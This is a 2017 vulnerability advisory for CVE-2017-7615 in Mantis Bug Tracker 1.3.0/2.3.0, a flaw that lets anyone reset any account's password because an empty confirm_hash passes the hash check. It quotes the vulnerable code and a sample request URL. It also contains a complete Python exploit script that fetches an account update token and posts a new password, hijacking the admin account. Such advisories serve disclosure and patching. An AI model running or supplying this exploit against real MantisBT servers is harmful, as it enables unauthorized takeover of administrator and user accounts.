Mantis Bug Tracker 1.3.0/2.3.0 - Password Reset

[+] Credits: John Page a.k.a hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt

[+] ISR: ApparitionSec            

 





Vendor:

================

www.mantisbt.org







Product:

==================

Mantis Bug Tracker

v1.3.0 / 2.3.0



MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.





Vulnerability Type:

===============================

Pre-Auth Remote Password Reset







CVE Reference:

==============

CVE-2017-7615







Security Issue:

================

Mantis account verification page 'verify.php' allows resetting ANY user's password.

Remote un-authenticated attackers can send HTTP GET requests to Hijack ANY Mantis accounts by guessing the ID / username.



Vulnerable code:



In verify.php line 66:



if( $f_confirm_hash != $t_token_confirm_hash ) {

	

trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );



}



This code attempts to verify a user account and compares hashes for a user request.

However, by supplying empty value we easily bypass the security check.



e.g.



http://127.0.0.1/mantisbt-2.3.0/verify.php?id=1&confirm_hash=



This will then allow you to change passwords and hijack ANY mantisbt accounts.



All version >= 1.3.0 as well as 2.3.0 are affected, 1.2.x versions are not affected.





References:

============

https://mantisbt.org/bugs/view.php?id=22690#c56509







POC Video URL:

==============

https://vimeo.com/213144905







Exploit/POC:

=============

import cookielib,urllib,urllib2,time



print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0'

print '1.2.x versions are not affected'

print 'Remote Password Reset 0day Exploit'

print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n'



IP=raw_input("[Mantis Victim IP]>")

realname=raw_input("[Username]")

verify_user_id=raw_input("[User ID]")

passwd=raw_input("[New Password]")



TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash='



values={}

account_update_token=''

#verify_user_id='1'          #Admin  = 1

#realname='administrator'    #Must be known or guessed.





#REQUEST 1, get Mantis account_update_token 

cookies = cookielib.CookieJar()



opener = urllib2.build_opener(

    urllib2.HTTPRedirectHandler(),

    urllib2.HTTPHandler(debuglevel=0),

    urllib2.HTTPSHandler(debuglevel=0),

    urllib2.HTTPCookieProcessor(cookies))



res = opener.open(TARGET)



arr=res.readlines()

for s in arr:

        if 'account_update_token' in s:

                break





#print s[61:-38]

ACCT_TOKEN=s[61:-38]



time.sleep(0.3)



#REQUEST 2 Hijack the Admin Account

TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php'

values = {'verify_user_id' : '1',

        'account_update_token' : ACCT_TOKEN,

        'realname' : realname,

        'password' : passwd,

        'password_confirm' : passwd}

  

data = urllib.urlencode(values)



opener = urllib2.build_opener(

urllib2.HTTPRedirectHandler(),

urllib2.HTTPHandler(debuglevel=0),

urllib2.HTTPSHandler(debuglevel=0),

urllib2.HTTPCookieProcessor(cookies))



response = opener.open(TARGET, data)

the_page = response.read()

http_headers = response.info()



#print http_headers

print response.getcode()

print 'Account Hijacked!'

time.sleep(2)









Network Access:

===============

Remote









Severity:

=========

Critical







Disclosure Timeline:

=============================

Vendor Notification: April 7, 2017

Vendor acknowledged: April 7, 2017

Vendor patch created: April 10, 2017

Vendor Disclosure: April 16, 2017

April 16, 2017  : Public Disclosure







[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information

or exploits by the author or elsewhere. All content (c).